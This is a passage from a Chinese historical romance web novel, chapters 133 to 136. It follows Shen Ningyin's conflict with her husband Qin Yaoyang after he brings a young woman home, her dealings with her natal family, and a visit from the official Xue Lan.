宴会外的青石大道上，随着灯笼的点亮，车水马龙早已经散了个七七八八。
昌平侯府的马车留了一架，扈从们瞧见秦耀阳出来，连忙上前迎接。
秦耀阳扫了一眼，嘴唇微微下抿。扈从察言观色，忙道：“二爷，夫人送闵家几位姑娘去……”
秦耀阳打断他的话：“少夫人呢？”
几个扈从对视一眼，躬身回禀：“是玉珠姑娘晕过去了，所以少夫人……”
秦耀阳攥紧了手掌，提高音量：“本世子问你少夫人在哪儿！”
扈从吓了一跳，哆嗦着不敢抬头：“少夫人回府去了。特特留下小的们接世子回去……”
秦耀阳一甩袖子，转身。扈从们知道世子爷生气了，只以为他要走，连忙打算出言相劝，一抬头却瞧见他引过来一个娇小的女子。
扈从见着自家主子将个姑娘扶上马车，都吓得面色苍白。
秦耀阳掀开帘子，也钻进去，里头传来一声冷哼：“还不去赶车？”
133. 冤孽
兰香提着灯笼快步穿过长长回廊赶回祁秀院，耳房里头是玉姐儿住的。
兰香急匆匆喊：“少夫人。”
她刚准备踏入房门，沈宁音已经开门走了出来：“小声些，玉姐儿刚睡着。”
灯笼下，兰香脸上带着些急切，压低了声音道：“少夫人，二爷回来了，马车要到巷口了。”
沈宁音思忖一二，披了件厚实的披风就往外头迎了出去。
车声辚辚，在入夜空旷的府门口十分明显。
秦耀阳虽不靠谱，可到底是秦家世子，是沈宁音的夫君，她倒也须得给个台阶哄上一哄的。
府门口的灯笼明亮，马车一停稳，沈宁音便提着灯笼下了台阶迎上去。
但她很快就发现了不对劲，车夫不敢去掀帘子，对上沈宁音的视线时竟飞快躲开了目光。
这般气氛，便是叫人想忽略也难。
沈宁音深吸口气，正打算开口，却听里头秦耀阳的声音带着不耐：“不是到了么？怎的还不摆上脚踏？”
紧接着，车帘子掀开，露出秦耀阳的那张俊脸。他看见沈宁音时，蓦地愣怔。
“世子。”沈宁音露出个与往日里别无二致的温婉笑容，上前亲手将脚踏放到地上。
秦耀阳抿着唇，下了车：“这么冷的天，你出来做甚？叫几个下人盼着门就行。”嘴里虽这般说着，脸上冷硬的线条却是软了下来。
沈宁音将手里拿着的狐裘大氅给他披上，一面系带子，一面低眉微笑：“世子说哪里话？妾身起先也是因着玉姐儿出了点事，这才先行回府的。”
有时候，心情这东西就是很任性的，譬如从旁人口中听再多的解释，都觉着难受、不满。可如今亲耳听着沈宁音的解释，秦耀阳却是整个人都舒坦下来，胸臆中也仿佛给身上那件大氅暖了进去般。秦耀阳伸手拉着妻子的手摩挲了下，低着嗓音道：“原来如此。”
他特别委屈，特别特别委屈：“宁音……我今晚想去你那。”
沈宁音下意识想要拒绝，可男人的手略略收紧，态度坚决。
沈宁音略一思忖，大约不让他去也是不能的。而且，这么些时日，她倒也对秦耀阳了解许多，知他怕是得了什么委屈，要找人倾诉。
“春渠，去点些炭火。”沈宁音转眸吩咐了一句。
秦耀阳知她是答应了，当下心中盈满喜悦：“宁音……”只是没等他说些贴心话呢，马车帘子便又掀开了。
沈宁音下意识往车子一瞥，却见里头走下来一个女人。沈宁音脸色瞬间就沉了下去。
陈青霜怯生生走到秦耀阳身侧，眼睛又红又肿，她张了张嘴想喊沈宁音，可甫一触及沈宁音冷飕飕的目光，她连忙哆嗦着要伸手去拉秦耀阳的袖子：“世子……”
陈青霜拉着秦耀阳的衣袖，秦耀阳抓着沈宁音的柔荑。
沈宁音此刻的恼火已然蔓上了眉眼，她嫁过来这么些时日，极少有喜怒形于色的，所以饶是迟钝若秦耀阳，这会儿也咂么出味儿来了，他连忙想握紧妻子的手。
沈宁音用力挣脱后退了好几步。
“宁音……你听我解释。”秦耀阳心里顿时慌了起来，他这人情绪来得快去得也快，再加上不必他拿乔，妻子就已经乖觉地来哄了他了。秦耀阳这会儿又愧疚起来。
沈宁音退至人后，两个丫鬟就在她身前。兰香满脸的义愤填膺，染竹则是看看秦耀阳、又看看沈宁音，满脸地担忧。
“不是你想的那样……”秦耀阳甩开陈青霜的手，要上去拉着沈宁音。
“妾身竟不知，世子有客人？”沈宁音脸上恢复了平静。
她越是平静，秦耀阳就越慌，他推开丫鬟，握住沈宁音瘦削的肩膀：“宁音，我就是看她可怜，这才收留她一二。你便是心里有醋，也不能胡乱吃味吧？”
他思忖，陈姑娘不是妻子闺中姐妹么？
秦耀阳越说越有底气，当下握住沈宁音的手掌扯出个笑：“宁音，你就费费心，给陈姑娘安置个住处，赶明儿随我一起将她送回去就是……”
沈宁音心里气得要命，却是轻笑出声：“妾身可没有这般朋友。”她掰开夫君的手，将他推离，转身就快步往里头去。
迎面正遇上安顿好银丝炭盆的春渠：“少夫人，炭火……”烧好了……
春渠话未说完，便听见耳边传来沈宁音凉凉的声音：“不必了。”
紧接着，春渠就看见自家少夫人给二爷握住了手腕。
秦耀阳哄人惯没有耐心，他不觉着自己有什么错，自己都说得那般清楚了，沈宁音竟然还要使小性儿。他原先被安抚下去的委屈又翻了上来，咬牙怒道：“宁音！你到底想怎样？只是收容她一晚上！你何时这般不明事理了？”
沈宁音红着眼睛，回头看了他一眼。这一眼，直叫秦耀阳心中一震。趁着他愣神的功夫，沈宁音用力抽出了手腕，快步就往祁秀院过去了。
秦耀阳反应过来想追，却感觉胳膊一紧：“世子！”
他一回头，就瞧见陈青霜跪在了地上，少女的眼睛又红又肿，像只夜色里瑟瑟发抖的兔子：“都是我的错，惹了宁音姐姐不开心，我这就走，绝不拖累你。”
秦耀阳正烦躁，心里却又觉着是自家妻子不好，当下便伸手打算先把人给扶起来。
可他哪知手刚碰着少女的衣袖就觉得指间飞快滑过了布料。一抬眼，刚刚还娇娇怯怯的陈青霜已经提着裙摆就往夜色里跑去。
她脚步踉跄着，跑得并不快，还摔了一跤。
秦耀阳看看已经快要转过拐角的妻子，又看看府门外摔在地上的陈青霜，他心里更烦躁了。
秦耀阳咬了咬牙脚尖转向府内，正打算命人先拦着陈青霜，将她拉进府再说，却听见外头传来打更的声音。
他脚步一顿，却是心软了，转头一瞧，远处的巷子口有人影晃动。
上京城圈子并不大，陈青霜又是个未出阁的
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姑娘家，秦耀阳虽荒唐、思虑不周到，却也知晓若是给市井里的人瞧见陈青霜当街被男扈从拉扯，那闺誉就别想要了。
而此时此刻，陈青霜挣扎着爬起来，竟朝着打更人的方向跑去。
秦耀阳脸色一变，将提着的衣摆往后一甩，长叹口气转身往府外追去。
不过三两步，他就追上了人。
“世子，放开我！我不愿影响你与宁音姐。”陈青霜边哭边挣扎。
秦耀阳转眸就瞧见远处的灯光似乎停下了。他生怕有人过来瞧热闹，一咬牙，将女娘拦腰抱起就朝着昌平侯府里进。
翌日清早，松鹤堂。
因着天气渐冷，老夫人醒得比往日都要迟上小半个时辰。她梳完头，刚在丫鬟们伺候下净了面，便见方嬷嬷神色凝重地掀帘进来。
老夫人一见方嬷嬷那副沉得能拧出水儿来的表情便觉着消息大约不妙的。但她又琢磨着，昨儿去赏花宴的可是孙媳与儿媳，再者，她们带着去的，也没有侯府的姑娘，再闹出事儿来又能与昌平侯府有多大干系？
思及此，老夫人便沉住气：“大清早的，什么事儿闹到我跟前儿来？”
方嬷嬷欲言又止，思忖了好一会儿措辞，才压低声音凑过去将事情简明扼要说了一遍。
“什么！？”老夫人吃惊地站起身来：“他当真这么荒唐？”老夫人只觉得太阳穴突突地跳。
老夫人是不知昨儿有什么内情的，但她知道一点：刑部员外郎家的姑娘，在长公主办的赏花宴，被自家孙儿给直接带回府来了！
哪怕姑娘是庶出，在那样人多眼杂的地方做出这等事儿来，跟偷偷与员外郎家说定了纳妾却也是两码事儿。这是打人家的脸！是做不成亲、要结怨的！
“老夫人！”方嬷嬷见她身子晃了晃，连忙扶着，生怕她再出个什么事儿，方嬷嬷赶紧喊：“去找郎中！”
方嬷嬷话音刚落，就给老夫人扯着了袖子：“不用！”方嬷嬷再转头时，老夫人脸色苍白，额头的青色血管透过苍老岑薄的皮子鼓了出来，眼神有些吓人：“昨晚世子带女人回府，她媳妇可有什么表示？自个儿男人都这样了，她竟还睡得着觉？就这般不管不顾？！”
老夫人一面说一面气得捶桌子。就仿佛做错事的是沈宁音这个做妻子的。
方嬷嬷干瘪的唇瓣抖了抖，小声禀告：“老太君……听说，昨儿二少夫人去门口迎世子爷了，后来她一个人回了祁秀院，然后……然后……”
见她吞吞吐吐的，老夫人眼神冷冷地看过去，一拍桌子：“然后如何？咱们这样的人家，眼下哪家的男子不是三妻四妾的？就算刚入府不久，也不能男人领个女子回家就摆脸色吧？”
方嬷嬷苦笑，道：“后来世子爷把那位姑娘抱着回来，还……还安顿在住处……”
“什么！”老夫人觉着胸口闷出一股子血腥味，她狠狠揪着衣襟，颤声喊：“去！去把这冤孽给我带过来！现在就去！”
134. 落空
沈宁音辰时方起，深秋的天气亮得迟，她起先还不觉着。等梳妆完毕，外头已经等了好些人。
沈家的妹妹与侄女、沈家来接人的两个婆子并一应丫头、车夫、门外还有松鹤堂的丫鬟探头探脑。
沈宁音只做没瞧见松鹤堂来的人，按了按鬓角笑着看向沈家婆子。
两个婆子相觑一眼，神色都有些复杂，最后终于有个不情不愿走上前赔笑：“给二少夫人请安。”
婆子语气分外客气，还带着显而易见的疏离，半点不似对沈家嫁出去的女儿。沈宁音便知，这该是继夫人心怀埋怨刻意叫人来甩脸子的。
沈家三个正经女儿，一门亲事没落上，沈夫人能开心那才是奇了怪了。
“是来接几个姑娘的？”沈宁音坐在主位，头也没抬，拿起茶水轻抿。
继母没打算给体面，那她也犯不着太客气。
婆子感受到空气里的压抑，笑容就淡了几分：“是啊。这宴会也结束了，几位姑娘也该走了。夫人催得急，还请二少夫人见谅。”
“不着急，先用个饭。”沈宁音道。
婆子嘴角带着丝轻蔑，道：“也不必这么麻烦，即刻就走。”她话说完，意识到不妥当，又笑着敷衍了句：“夫人应该是想几位姑娘了。”
沈宁音略略抬眸，一双素来温柔的眸子此刻染着冷，饶是婆子早有预料，也不禁心肝一颤，下意识错开了目光。
就在婆子忐忑之际，听得沈宁音略沉的声线，她冲着春渠吩咐：“去挑几样钗环礼物。”
依着规矩，姊妹、晚辈来做客，沈宁音这个当主母的，自当准备些礼物再送她们回去才是，礼物越贵重，越能彰显做姐姐的重视娘家姊妹，沈家也能脸上有光，沈宁音早备好了一份体面的。
可她沈宁音愿意给体面，架不住沈夫人甩脸不要。
沈宁音点到春渠的时候，正打算去拿礼物出来的兰香都惊了。春渠是新提拔上来的二等丫鬟，叫她去挑，那就是馈礼要降级。
“是。”春渠反应快，答声之后就去了内室挑东西。
婆子原本还有些犯怵，这会儿见侯府这位主母非但没发作，反倒规规矩矩命人挑礼物服软，婆子松了口气之余，心下又更轻蔑了几分。
在场众人没几个瞧不出来的，沈含鸢见妹妹要说话，连忙拉住沈引章。后者眉头蹙紧，甩开姐姐的手，沈引章道：“杨妈妈，咱们来侯府是客，你岂能如此……”
沈引章话没说完，便给沈含鸢拉着往边儿上去：“引章！二姐姐还没发话呢，哪有你说话的份儿？”
沈引章听罢并不服气，她还欲再说，旁边儿一直沉默的沈弦思冷哼了一声：“人家是侯府的少夫人，你连亲事都没着落，用得着你维护心疼？”
沈引章盯着神色阴恻恻的沈弦思，明明很气，却只觉舌头打结，说不出什么反驳的话儿来。
沈引章是不在意什么亲事不亲事的，但她嘴笨，又觉得昨日开始的沈弦思阴沉得叫人害怕，于是连忙将目光看向沈宁音。
谁知，沈宁音被这般轻慢，却是一言不发。包子似的，瞧着分外好欺负。叫人干着急。
“少夫人……”兰香皱紧眉头，满脸期待地看向沈宁音。祁秀院的几个丫鬟里，除了春渠，就数她最喜欢仗势欺人，只要自家主子一声令下，她能毫不犹豫扑上去把那杨妈妈的老脸扇肿。
可是面对嬷嬷们的鄙夷目光，沈宁音不动如山。这好似对娘家示弱的表现，惹得对面儿的仆从们看祁秀院众人都觉低了一等。
沈宁音没说话，留饭被驳了面子也没恼，反倒是春渠动作麻利，很快包了几份礼物奉过来。
“既然母亲着急接妹妹回去，那我不留就是。”
沈宁音起身，真就全然依着侍郎府的要求巴巴地奉上礼物送她们。就连沈弦思偶尔两句剜酸话，她也是一笑而过。
沈弦思抬手就打开了礼物匣子，一瞧见里面的东西，她整个脸就垮了下来：“二姐姐，你堂堂昌平侯府少夫人，挑礼物的眼光也太差了吧？”
众人闻言都是停下步子。沈家几个姐妹手里的礼物都是同一规格的。看着花样时兴，其实都是金玉其外，花架子罢了，并不值几个钱。
沈弦思从小在阮家长大，虽是商贾，但眼力不俗。她当面儿拆礼物，又嚷嚷出来，分外不给面子。末了，沈弦思又哂笑一声：“不如让我们自己去挑几样礼物，二姐姐该不会给不起、舍不得吧？”
沈弦思这句话一出，叫祁秀院众人都是脸色难看，这等同于不光落沈宁音的面子，连带着侯府也一并被嘲讽了。但最要命的是，这会儿的昌平侯府，还真给不出什么像样的贵重礼物。所以，脸色最为难看的，倒是祁秀院抄手游廊外头偷听着动静的松鹤堂之人。
沈宁音就好似一尊笑面菩萨，神色是一贯的淡然。沈弦思没能惹着想惹的人气急败坏，她自个儿反倒先怒了，她将匣子重重搁在红木桌子上，抬步就往内室冲。
沈弦思的气势很足，她今儿拿定了主意要叫沈宁音难看，她也吃定了沈家那位继母会偏向自己，甚至支持自己。
果然，当她往里头冲的时候，两个沈家嬷嬷并一应下人都像是没反应的泥塑一般，只知装看不见。
祁秀院的丫鬟们去拦，对上的就是沈弦思遍布血丝的眼：“你们抓我试试？！你们以为你们的卖身契在谁手里？！”
几个人脸色一白，春渠反应最快，迈开步子想要三两步走过去抓沈弦思的头发，却被斜刺里的一只手牢牢抓住。
主子被这么当众欺辱，春渠满肚子窝火，正想回头把人推开发，冷不丁落入眼帘的，竟然是主子本人！
沈宁音拦着下人们，微微抿唇，也不说话。
沈弦思胆子大，敢把人得罪狠了，其他人、哪怕是沈家的婆子、沈含鸢这嫡小姐，却是不敢的。
沈弦思就这么拿了好些是东西冷笑着往门外去。
其他人见状，都很震惊，尤其昌平侯府的人。等人走远了，领头的妈妈才道：“二少夫人平日里在咱们府中严苛得紧，偏在娘家人跟前儿跟个软包子似的。”
“我听说，二少夫人当初在娘家，的确是这等性子……”
“你懂什么？就是佯装友爱姊妹，佯装顺着嫡母，为的是个贤名罢了。”
领头的妈妈冷笑了一声，看向远处院外的身影：“原来是个装模作样的，怪道对娘家人这么软弱，原来连陪嫁过来的下人都没掌着他们的生死契。”
沈宁音迈过二门，路上不少人悄咪咪躲在暗处议论着。
似这等情况在今天之前可没有，就像是突然就冒出来的一样。
议论声很小，沈宁音目光扫过去便也停了。她不必去听也能知道大约因着什么。
左不过就是两项缘故，赏花宴刚过，还没等宴会上公卿贵人家里下帖子约相看，沈夫人便大张旗鼓来接女儿。大抵会叫人觉着沈宁音是被娘家疏远的。
沈宁音顺从不顺从，都会颜面扫地。沈夫人就是想敲打她，想叫她知晓，没了娘家撑腰，她沈宁音什么都不是。
而另一项缘故，便是秦耀阳与陈青霜之事，想来府里该知道的，估计也知道了。过不得多久，怕是也要传出风声去了。她这个受宠的妻子，很快就要被上京女眷们同情了。
“宁音。”一道中年女子的声音从前方传
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过来。沈宁音从思绪里回神，正瞧见门口除了沈家用来接人的马车外，还有一架小一些的。
蔡氏站在马车旁盼着，看见沈宁音跟闺女，她就朝着她们招了招手。
沈宁音也懒得搭理沈家那杨妈妈等人，径直牵着沈玉珠就走过去了。
沈玉珠见着亲娘眼泪就扑簌簌往下砸。蔡氏心疼坏了，拉着女儿的手就是一声哽咽：“我的儿，怎么哭了？”
沈玉珠也不说话，只是一径拿帕子擦眼泪。蔡氏见这情况，心里也猜测了个八九分，她抬头苦笑着看向沈宁音：“是没得着亲事么？”
也不等沈宁音说话，蔡氏先叹了口气，她这声叹息多少带了点儿释然，蔡氏笑着对沈宁音道：“她姑姑，也是谢谢你费心了，怪只怪你大哥驽钝，不是块科举的料，银子花用不少，也只补了个六品中书检正。那些个贵人们哪里能瞧得上咱家的门第？”
沈宁音见娘家大嫂实诚，便也笑着点点头：“一切皆是缘分，玉姐儿还小，明年十四虽可以定亲，要嫁人却也要等上两年。赶明儿开了科举，咱们去榜下给她捉上一捉，你也未必不能有个好女婿。”
蔡氏一听，心下倒也活泛开了。
沈宁音这说法并非空口白牙胡说的，前世冷元景走的就是科举仕途，她关注得多些，还真知晓几个。再不济，找老师孙靖元在孙家挑个知根知底的，也未尝不可。
她既是揽下了玉姐儿的亲事，便会负责到底。
蔡氏分外感激，从怀里摸出两张银票给塞进了沈宁音袖子里。
沈宁音抽出来一看，竟是两章一百两的。她惊诧地抬头，要给人推回去。蔡氏却是捏着她的袖子不让她拿出来：“宁音，嫂子和你大哥都不是有钱的，你也别嫌弃。侯府的事儿我们都听说了。花无百日红，多点银票傍身，世子再纳什么妾室，你日子也能好过些。”
沈宁音有些哭笑不得，嫂嫂跟大哥只觉着她会日子艰难，却不知，侯府就数她最富。
想推脱，但蔡氏也不给她机会，拉拉扯扯的终究不好，沈宁音便也收下了。
等蔡氏母女上了马车，沈宁音才冲兰香使了个眼色。一个新的匣子被送进了马车里。
沈玉珠见了匣子，忙道：“姑姑，你给过了。”
沈宁音笑着摇摇头：“那个不上算，这个匣子才是给你的。打开瞧瞧，喜欢不喜欢？”
沈玉珠抽开匣子，里头是水头十足的翡翠镯，大颗的珍珠，纯金打造的头面。蔡氏在一旁，眼睛都快晃花了，她蓦地想到将才自个儿把区区二百两塞给人家，还一副郑重其事的模样，心里突然有点臊得慌。
沈宁音瞧出了嫂嫂的窘迫，笑了笑就放下了帘子。还命府里的扈从一路护送她们回去。
至于沈家其他人，沈宁音才不想做那烂好人。
马车起行，蔡氏看着眼睛红红的女儿，伸手摸了摸她毛茸茸的发：“玉姐儿，咱们这样的家世，没人家瞧上很正常，怎么哭哭啼啼的？可是遇着什么事儿了？”
沈玉珠捏着帕子的手猛然一紧，脑子里闪过了一张矜贵俊美的脸，也没错过他厌恶的神色。沈玉珠心下有些怕，扑进母亲的怀里直摇头：“没有。”
她安慰自己，那样的宴会只要她不去，那么以后便再遇不到了。
过了不知多久。马车前突然传来一阵喧嚣。急停的刹那，沈玉珠一时没抓紧，整个人由于惯性往前扑了出去。
“小心！”将将冒出车帘，她便被人扶住了。
虽然隔着马车帘子，可那只手很大，沈玉珠能感受到应是一只男子的手掌，她红着脸抬起脑袋，正要道谢，映入眼帘的，却是一张让她失了血色的脸。
135. 非友
蔡氏慢了半拍，帘子给掀开时才反应过来去扶着闺女。
有人掀帘子，还是个外男，这事儿原是不合规矩的，蔡氏刚要发火，可等她看清了车前公子俊逸无双的脸时，叱骂的话都收摄了三分：“这是怎么了？”
沈玉珠低着脑袋直往后头缩，冷不丁那年轻公子却是抓着她纤细的胳膊一时没放。
虽隔着层车帘，但终究不妥当。
“你这后生……”蔡氏皱紧眉头再次开口，卞小公爷这才松了手。他一张玉面上不见少年人的慌张，笑得分外得体：“见过沈少夫人。”
蔡氏一怔，她知晓，这人既然喊出了这个称呼，那就是冲着自家来的。
他和女儿认识！
似乎是瞧着了蔡氏眼底的怀疑，卞小公爷从手里掏出只珍珠耳环：“是这样的，在下昨儿捡到了姑娘的东西，此番过来归还。”
沈玉珠抬头瞟了一眼，原本就白的脸庞更显惨白，她下意识地躲到母亲身后：“不是我的。”
卞小公爷拿着耳环的手一滞，微微蹙起眉。
蔡氏目光在耳环上逡巡一圈，道：“这位郎君，您想是认错了。”
通过卞小公爷的话，蔡氏就知他定是赏菊宴赴宴的男宾，蔡氏正为着女儿的亲事发愁，这会儿瞧着眼前人倒是长得顺眼，通身也瞧不出什么纨绔气。
“但，郎君倒是好心肠，不知是哪家的？”蔡氏客气地打听了句。
卞小公爷身后的扈从道：“我家郎君乃是韶国公府的小公爷。”
若说蔡氏瞧见卞小公爷时心里生出了几分热络，等听着了他高不可攀的身份，蔡氏也是在瞬间就歇了心思。
卞小公爷自那帘子放下，眼睛就没离开过车帘，他有些失望：“这耳环，姑娘再看看？”
沈玉珠哪里敢理他，只盼着车快些走。
卞小公爷忙开口：“将才拦车，差点儿惊着沈姑娘，在下过意不去，改日送些礼物上门赔罪则个。”
“不用了。”沈玉珠趴在母亲怀里回应。
车子缓缓起行，几个呼吸就走出去老长一截。扈从叹了口气：“爷，人都走远了。”
卞小公爷瞪了他一眼：“我知晓。”卞小公爷还是头一遭被人这般冷待，低头盯着那缀着大颗珍珠的耳环神色复杂。
车上，蔡氏掀开窗帘看了一眼，那俊秀男子的身影已经给熙攘行人遮了个干净，再瞧不见了。
“玉姐儿。”蔡氏放下帘子，一改将才的轻松表情，神色有些凝重，等女儿抬起苍白的小脸，蔡氏方继续问：“那耳环怎么回事儿？”
沈玉珠低着脑袋，手指无意识地捏着裙裾：“母亲……不是我的。”
蔡氏眉头皱得更紧，伸手握住了女儿的肩膀：“娘就你这一个闺女，你一撒谎我就能瞧出来。”
沈玉珠一听，眼底的慌乱藏都藏不住。
“这么大颗的珍珠，是你宁音姑姑给的吧？”蔡氏问。沈玉珠见瞒她不过，只得点点头：“是。”当时沈玉珠一身行头分外华贵，宴会上出了那些事儿，一清点，耳环的确是掉了一个的。
沈玉珠很庆幸姑姑是真心疼自个儿，首饰掉了也没说半句话。沈玉珠倒也不怕别的，怕只怕承认下来之后会连累到姑姑家。
蔡氏娓娓道：“你啊，方才就该认下来，纵有千般缘故，把东西讨回来、自己拿着才能放心。”
沈玉珠将才猝然遇着那人来还东西，心里又怕又乱，这会儿经蔡氏一提醒，突然就清明了。她连忙拉着蔡氏的手，神色慌张：“我方才想岔了，娘，现在怎么办？要不然趁着他没走远，咱们去要？”
沈玉珠慌张地咬着唇：“想来，韶国公府那么大的家业，应该也瞧不上这么个耳环……”
蔡氏苦笑着将她按牢在座椅上：“现在回去，人早走了，毕竟那样的人家，在上京城最容易惹人关注了。”
似乎是知晓女儿的担忧，蔡氏安抚地拍了拍她的后背：“你也不必担忧，他要是会拿这个作垡子，也不必等到隔天。”
沈玉珠一想也是，脸上的表情到底轻松不少。
马车里接下来的气氛都很安静，蔡氏打心里想着那郎君惊鸿一瞥的矜贵气质，惋惜得直叹气。
若是门第浅些该多好啊。蔡氏想，哪怕家世比自家低呢？有这样称头的郎君做女婿，她也不必替女儿的婚事担心了。
可惜韶国公府那样的人家，就像是天上月，自家这六品中书检正的门楣，垫直了脚尖那也是够不着的。
昌平侯府，松鹤堂。屋子里熏着上好的沉水香。
沈宁音将将送走沈家姊妹就给请到了这边儿来。
当着沈宁音的面，老夫人把秦耀阳叫起身数落，秦耀阳原本就烦躁，这会儿妻子在，他攥紧了手里的衣摆：“祖母胡说什么？”
秦耀阳低着目光，凝眉：“我是看着她哭得可怜，她家里人又不在，难道要她一个未出阁的女娘入夜时分走回家去？”
沈宁音没说话，老夫人瞥了她一眼，继续教训孙儿：“那你也不能把个清清白白的姑娘家直接接回府吧？”
秦耀阳神色委屈又带着点恼，梗着脖子道：“若然宁音在，我自不用出此下策。”他说着说着，攥紧了手掌，看向沈宁音：“昨日分明是你不肯安置陈姑娘。”
“我带她回来，也并未避着你。不就是在客房歇一晚么？”
听着此事，在场最难受的却不是沈宁音。周婉脸色泛着白。她咬着嘴唇，幽怨的目光在触及沈宁音的脸时，倏然化作了厌恨。
沈宁音注意到了，却也不理解，更没将周婉放在眼里，只敛衽起身转向秦耀阳：“世子……”
她刚说了两个字，秦耀阳便是甩袖子背过身去。
有的男人就是这样，给他几分和颜悦色，他便要开个泼天的染坊，沈宁音便也收了笑，语气是娓娓道来般的淡：“世子可有想过，赏花宴是什么样的地方？”
秦耀阳不料她会问起这个，虽没吭声，只微微侧目。
沈宁音继续道：“长公主亲自邀约，来的都是上京城体面的人家。再者，陈家，那也是新晋的刑部员外郎，世子觉得没人会关注到，实际上呢？从你将人带回府的那一刻起，该知道的就都知道了。”<
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秦耀阳原本不忿的脸色皲裂开来，化作了一丝迷茫。
“你说你是怕她独自回家会遇着危险，你说你是为着陈姑娘名声着想，可你明明能将她送去长公主处，也能用车直接送她回青衣胡同。有那么多法子能保全她的名声，你偏把人接回府。”
沈宁音的话把秦耀阳说得目瞪口呆，他张了张嘴，气势弱了几分：“我……我那不是没想到么？”
秦耀阳求救似的看向老夫人。老夫人素来溺爱孙儿，方才一番数落其实也跟从前每一次那样，都是走走过场。目的是要将沈宁音这孙媳安抚下去。
可老夫人还没说话，给禁足许久的周婉坐不住了：“弟妹，耀阳他少有遇着这些事，处置不妥也是有的，你何苦这么咄咄逼人？”
沈宁音抬眸扫了眼，果然见秦耀阳看向周婉的目光都染上了几分愣怔，似是盈满了某些回忆。周婉神色温柔地看了秦耀阳一眼，再转回来时，瞳仁里泛着霜。
“弟妹若当真贤惠，作业便该好生安置了陈姑娘，我听说，那位员外郎家的五娘子原本就是你沈宁音的闺中朋友，你连安排友人留宿之事都要推到家里爷们儿身上，实在叫外头人耻笑！”
老夫人见周婉起了头，也盯着沈宁音的眼眸道：“正是这个理。况且昨儿你扔下你夫君还赌气回了祁秀院，是与不是？”
这一刹，现场所有的目光都看了过来，人人眼里都带着不解与埋怨。
沈宁音环顾四周。原本，有侄女与沈引章在，她们偶尔还能帮腔自个儿一两句，而此时此刻，触及到秦耀阳这个秦家独苗，沈宁音无妨对与错，也都彻底沦为了整个昌平侯府的对立面。
说到底，她来侯府也不过一个多月。世子爷再宠她，终究是一时新鲜。
如今，这样短的时日里，男主子先后往府里带了两个娇滴滴的女娘。再加上老夫人这会儿的态度——大清早地就仿佛兴师问罪一般把人给急匆匆召过来。
没有人觉着沈宁音这得宠的少夫人还能给宠得下去。
山鸡哪能变凤凰呢？
秦耀阳看向妻子是有心虚的，可是众口铄金，女人们你一言我一语的，讲到最后，他似乎也觉着自个儿没错处了。
错的都是妻子。
她既错了，他主动和好，秦耀阳觉着，自己也算是宽宏大量的。
他走过去，伸手拉着她的袖子，小声道：“宁音，这么多人看着，你别气了。大不了你招呼陈姑娘两三日，对外就说是你接她来府里玩，等风声过了，再把她送回去就是。”
秦耀阳这态度，惹得众人都瞪大了眼睛。周婉不敢置信地看向他二人。
沈宁音都这样了，他竟然还愿意轻声细语去哄着！？
周婉揪住了胸口的衣襟，这样的包容与温柔，从前都只属于自己的！如今竟眼睁睁地看着他给别人！
所有人都觉着，男人肯放低姿态来递台阶，做妻子的就应该乖乖借坡下驴的，沈宁音合该见好就收。
可沈宁音抬起眼，却是笑了一声，她轻捋胸前的发丝：“妾身说过，陈五娘，不是妾身的朋友！”
136. 牙祭
沈宁音张罗着让丫头们将秦耀阳在屏风后的软榻搬走。
“少夫人……要不还是留一留罢？”兰香看着软榻给拆成零碎往外头送。眼里满是担忧。
兰香不是染竹，倒也没有旁的复杂心思。沈宁音瞥了一眼，低头呷了一口茶：“搬了便搬了。”想了想，又吩咐：“天儿凉了，陈五姑娘那儿添一床被褥，再派一个懂事的丫头去照应下。”
“少夫人！”兰香的情绪都在脸上，这会儿看向沈宁音时，满脸的恨铁不成钢。
但，起先在松鹤堂时，沈宁音没给任何人面子，这会儿就更不可能藕断丝连留退路。要做就做得绝些，也好叫那些人知晓自个儿的底线与态度。
春渠拉着兰香去办事了，染竹这些天都给打发去忙府里各处的添置记录。
一时间，屋子里就只剩下了沈宁音一个。
想着赏花宴里头的纷纷扰扰，沈宁音凝眉叹了口气。沈引章跟沈玉珠她是不担心的，她只担心沈弦思做出什么出格的事儿来，连累了沈家姑娘们的闺誉。
沈宁音越想越不放心，为免夜长梦多，提笔给沈定山写了封信。
信写完用火漆封好，就听到外头临了脚步声。沈宁音也没多想，唤了一声：“兰香。”她思忖着，人刚好回来，派去送信的话，入夜前说不定还来得及到父亲手上。
这种要紧事，是越早防备着越好。
没人应声，沈宁音将才声音不大，她只以为是隔着门，小丫鬟没听见。她绕到桌前，正要再喊一声，冷不丁碰乱了桌前的一叠书，一页轻薄的宣纸飘悠悠掉到了地上。
沈宁音低头看时，蓦地愣怔住。那纸张不大，约莫有两只手并在一处大小，上面皱皱巴巴，明显是曾经团成一团良久又展开来的。
这是那一页从小船上摘下来的诗文。沈宁音印象极深，所以即便是正面朝下，她也能轻易认了出来。
沈宁音正要弯腰去捡，还没伸手呢，忽然感觉到一股子叫她无法忽视的冰冷气息从斜刺里散逸过来。
那人也不说话，先一步弯腰要去捡起来。
沈宁音心下警铃大作，飞快地越过那只大掌，将纸薅起来。
薛岚的手指一顿，抬眸看向她：“是什么？”
沈宁音低垂着目光，语气没什么波澜，平静道：“是夫君写给妾身的情诗，实在不便展示，不过薛大人若有兴趣……”她笑了笑：“看看也无妨。”
沈宁音作势要把塞进袖子里的宣纸重新掏出来。薛岚的眼神肉眼可见的不耐：“不必。你自个儿收着就好。”
沈宁音从善如流，又朝袖子摁了摁，再抬头时，语气疏淡：“薛大人，妾身这儿可是后宅内院，如今青天白日的，您大摇大摆上门不好吧？”
薛岚顿了顿，转头看了眼窗外的天色，的确也亮了些。
薛岚略略颔首，虽说他进来之前已经摸清楚了昌平侯府的巡逻，也有十成十的把握躲开侯府的耳目。但他还是道：“下次我会晚上来。”
“……”沈宁音脸上的表情有一丝皴裂。她深吸了口气，尽力以平静的语气：“您今日过来，可有什么事儿？”
薛岚没卖关子：“昨日赏花宴，你娘家三个姑娘可有捡着什么诗，没有对上那种？”他如今没戴面具，脸上虽还有疤痕，但都浅了许多。可他长得再如何俊朗，沈宁音两世为人，嫁的还都是如玉无双的两个美男夫婿，在她眼里，美貌实在也不能叫她失了重点。
沈宁音袖中的手指猝然攥紧，她一听就知定有什么内幕，能叫皇城司盯上的事儿，一多半都不会是什么好事。
本着多一事不如少一事，沈宁音笑着道：“怎么会？妾身的妹妹出了点事，我那侄女也差点儿给人欺负了去，哪有什么心情和时间去对诗？”
皇城司渗透极强，赏花宴又有薛岩在场，沈弦思跟沈玉珠遇着的事情都有好些人目击，稍稍打听也就能打听出来。
越是这样，沈宁音说的话越能滴水不漏。
